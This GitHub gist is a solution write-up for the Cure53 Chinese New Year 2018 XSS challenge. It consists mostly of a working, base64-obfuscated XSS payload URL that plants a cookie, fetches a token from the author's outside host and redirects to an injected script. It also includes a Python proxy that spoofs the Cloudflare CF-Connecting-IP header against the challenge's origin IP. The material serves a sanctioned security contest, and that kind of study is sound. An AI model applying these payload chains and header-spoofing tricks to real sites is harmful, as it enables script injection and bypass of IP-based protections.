Skip to content

Instantly share code, notes, and snippets.

@bayotop
Last active May 30, 2018 06:51
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bayotop/ba94b9eac4e9e154d396327adde88074 to your computer and use it in GitHub Desktop.
Save bayotop/ba94b9eac4e9e154d396327adde88074 to your computer and use it in GitHub Desktop.
Cure53 - Chinese New Year Challenge 2018

Works in latest Firefox 58.0.2 (Windows 10, 64-bit) (copy-paste into browser to preserve URL encoding):

https://henhouse.cure53.berlin?value=<svg onload="document.cookie=`user=onerror%253dalert%253bthrow document.scripts[0].attributes[0].value%252f%252f;domain=.cure53.berlin`;fetch(atob(`aHR0cHM6Ly9iYWphbmlrLmNvbQ==`)).then(r=>r.text()).then(function(t){location=atob(atob(`YUhSMGNITTZMeTluYjJ4a1pXNWxaMmN1WTNWeVpUVXpMbUpsY214cGJpOC9lSE56UFR4NElHbGtQVmR2ZHlBdlBqeHpZM0pwY0hRZ2FXUTlkMlZzWTI5dFpVMXpaejQ4TDNOamNtbHdkRDRtZEc5clpXNDk=`))%2bt})">&key=.element.innerHTML

When pasting into submit.cure53.berlin, the above has to be URL decoded once:

https://henhouse.cure53.berlin?value=<svg onload="document.cookie=`user=onerror%3dalert%3bthrow document.scripts[0].attributes[0].value%2f%2f;domain=.cure53.berlin`;fetch(atob(`aHR0cHM6Ly9iYWphbmlrLmNvbQ==`)).then(r=>r.text()).then(function(t){location=atob(atob(`YUhSMGNITTZMeTluYjJ4a1pXNWxaMmN1WTNWeVpUVXpMbUpsY214cGJpOC9lSE56UFR4NElHbGtQVmR2ZHlBdlBqeHpZM0pwY0hRZ2FXUTlkMlZzWTI5dFpVMXpaejQ4TDNOamNtbHdkRDRtZEc5clpXNDk=`))+t})">&key=.element.innerHTML

server.py running on https://bajanik.com:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
from http import HTTPStatus
import requests

class MyHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(HTTPStatus.OK)
        self.send_header('Content-type', 'text/plain')
        self.send_header('Access-Control-Allow-Origin', '*')
        self.end_headers()

        token = requests.get("http://62.75.188.34/token", headers={"host":"roosterbooster.cure53.berlin","CF-Connecting-IP":self.headers['CF-Connecting-IP']}).content
        
        self.wfile.write(token)
        return


def run(server_class=HTTPServer, handler_class=MyHandler):
    server_address = ('165.227.165.4', 80)
    httpd = server_class(server_address, handler_class)
    try:
        print("Server works...")
        httpd.serve_forever()
    except KeyboardInterrupt:
        print("Stop the server...")
        httpd.socket.close()


if __name__ == '__main__':
    run()

I realized that the tokens are based on the user ip, which is obtained from CF's CF-Connecting-IP. I then found the real IP address where the challenge is hosted (same as cure53.de) and spoofed this header to obtain the correct token. I use https://bajanik.com as a proxy to do exactly that and return a CORS response.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment